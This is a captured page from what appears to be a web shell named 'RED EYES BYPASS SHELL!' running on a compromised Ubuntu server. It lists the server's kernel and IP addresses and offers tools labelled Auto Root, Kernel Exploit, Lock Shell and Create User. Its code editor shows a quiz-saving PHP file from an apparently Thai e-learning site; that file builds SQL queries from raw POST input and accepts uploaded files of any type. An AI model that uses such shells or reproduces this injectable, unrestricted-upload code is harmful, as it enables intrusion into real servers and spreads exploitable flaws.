Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
work_181165 /
API /
test /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
question.php
5.05
KB
-rwxr-xr-x
question_bak.php
3.13
KB
-rwxr-xr-x
save_test.php
4.96
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_test.php
<?php require_once("../../server/server.php"); header("Content-Type: application/json; charset=UTF-8"); foreach ($_POST['question'] as $couse_id => $questions) { foreach ($questions as $question => $value) { $list = $value['question'] ?? null; $answer = $value['answer'] ?? null; $name = $value['name'] ?? null; $question_id = $question ?? null; $file = $_FILES['question']['name'][$couse_id][$question]['file'] ?? null; if ($file != null) { $temp = explode(".", $_FILES["question"]["name"][$couse_id][$question]['file']); $newfilename = round(microtime(true)) . '.' . end($temp); move_uploaded_file($_FILES["question"]["tmp_name"][$couse_id][$question]['file'], "../../file/question/" . $newfilename); $file = "question/" . $newfilename; // update file name to database $sql = "UPDATE `questions` SET `question_img` = '$file' WHERE `no_question` = '$question_id' AND `couse` = '$couse_id'"; $result = $db->query($sql); } if ($name == "" || $name == null && $answer == "" || $answer == null && $list == "" || $list == null) { // remove question all choice and answer $sql = "DELETE FROM `choices` WHERE `no_question` = '$question_id' AND `couse` = '$couse_id'"; $result = $db->query($sql); $sql = "DELETE FROM `answers` WHERE `no_question` = '$question_id' AND `couse` = '$couse_id'"; $result = $db->query($sql); $sql = "DELETE FROM `questions` WHERE `no_question` = '$question_id' AND `couse` = '$couse_id'"; $result = $db->query($sql); } else { // check question is exist $sql = "SELECT * FROM `questions` WHERE `no_question` = '$question_id' AND `couse` = '$couse_id'"; $result = $db->query($sql); $number_count = $result->rowCount(); // if $number_count == 0, insert new question if ($number_count == 0) { $sql = "INSERT INTO `questions` (`couse`, `no_question`, `question_text`, `question_img`, `inp_date`, `upd_date`) VALUES ('$couse_id', '$question_id', '$name', NULL, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)"; $result = $db->query($sql); }else{ $sql = "UPDATE `questions` SET `question_text` = '$name' WHERE `no_question` = '$question_id' AND `couse` = '$couse_id'"; $result = $db->query($sql); } // remove question all choice $sql = "DELETE FROM `choices` WHERE `no_question` = '$question_id' AND `no_couse` = '$couse_id'"; $result = $db->query($sql); foreach ($list as $choices => $choice) { $sql = "SELECT * FROM `choices` WHERE `no_question` = '$question_id' AND `no_choice` = '$choices' and `no_couse` = '$couse_id'"; $result = $db->query($sql); $number_count = $result->rowCount(); // if $number_count == 0, insert new choice if ($number_count == 0) { $sql = "INSERT INTO `choices` (`id`, `no_question`,`no_couse`,`no_choice`, `choice_text`, `choice_img`, `inp_date`, `upd_date`) VALUES ('', '$question_id', '$couse_id', '$choices', '$choice', NULL, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)"; $result = $db->query($sql); } else { $sql = "UPDATE `choices` SET `choice_text` = '$choice' WHERE `no_question` = '$question_id' AND `no_choice` = '$choices' and `no_couse` = '$couse_id'"; $result = $db->query($sql); } } // update answer // SELECT * FROM `answers` WHERE `couse` LIKE '1' AND `no_question` LIKE '1' // check answer is exist $sql = "SELECT * FROM `answers` WHERE `no_question` = '$question_id' AND `couse` = '$couse_id'"; $result = $db->query($sql); $number_count = $result->rowCount(); // if $number_count == 0, insert new answer if($number_count == 0){ //INSERT INTO `answers` (`couse`, `no_question`, `answers_true`) VALUES (NULL, NULL, NULL) $sql = "INSERT INTO `answers` (`couse`, `no_question`, `answers_true`) VALUES ('$couse_id', '$question_id', '$answer')"; $result = $db->query($sql); }else{ // update $sql = "UPDATE `answers` SET `answers_true` = '$answer' WHERE `no_question` = '$question_id' AND `couse` = '$couse_id'"; $result = $db->query($sql); } } } $data = array(); $data[] = ["action"=>"alert","detail"=>["status"=>"success","title"=>"บันทึกสำเร็จ","text"=>"บันทึกข้อมูลสำเร็จแล้ว","icon"=>"success","link"=>"Formtest"]]; //$data[] = ["action"=>"url","detail"=>["url"=>"reload"]]; echo json_encode($data); }
Close